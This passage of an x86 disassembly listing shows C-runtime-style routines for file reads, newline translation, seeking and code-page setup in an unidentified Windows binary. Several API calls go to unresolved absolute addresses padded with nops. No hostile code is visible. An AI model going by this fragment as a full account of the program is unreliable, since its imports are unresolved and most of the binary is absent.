; ---------------------------------------------------------------------------

loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------

loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------

loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax

loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4CECE0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------

loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_4362F0

loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx

loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h

loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0

loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4CEDE0
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4CECE0h[eax*4]
		mov	eax, dword_4CECE0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah

loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	short loc_41E3E9
		nop
		call	near ptr 2660AEBh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD

loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------

loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------

loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------

loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh

loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3

loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------

loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2640000h
		nop
		test	eax, eax
		jnz	short loc_41E48A
		nop
		call	near ptr 2660AEBh
		test	eax, eax
		jnz	short loc_41E4D1

loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------

loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC

loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------

loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5

loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh

loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi

loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------

loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al

loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi

loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------

loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh

loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4CEDE0
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_4CD9B4, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26E0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		nop
		call	near ptr 2660AEBh
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------

loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax

loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------

loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------

loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9

loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh

loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx

loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4CECE0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx

loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]

loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------

loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_4CD9B4, 16h

loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------

loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------

loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax

loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]

loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------

loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7

loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]

loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4

loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]

loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax

loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx

loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4CDA60, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_4CDA60, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------

loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_436EF4
		push	esi
		push	edi
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	loc_41E897
		mov	dword_4CDA60, 2

loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_4CDA60
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2890000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------

loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax

loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]

loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 28A0000h
		nop
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jnz	loc_41E926

loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax

loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]

loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------

loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]

loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27D0000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897

loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4CEDE4
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_436010

loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_436100
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28A146Fh
		nop
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		cmp	[ebp+var_18], 1
		mov	dword_4CEDE4, esi
		rep stosd
		stosb
		mov	dword_4CF004, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]

loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_4CEF01[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------

loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_436020[esi]

loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26

loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_436008[edx]

loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_4CEF01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14

loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA

loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_4CEDFC, 1
		push	eax
		mov	dword_4CEDE4, eax
		call	sub_41EB10
		lea	esi, dword_436014[esi]
		mov	edi, offset dword_4CEDF0
		movsd
		movsd
		pop	ecx
		mov	dword_4CF004, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4

loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax

loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_4CEF01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_4CF004, eax
		mov	dword_4CEDFC, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------

loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_4CEDFC, ebx

loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------

loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_4CDA64, ebx
		jz	short loc_41EABE

loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43

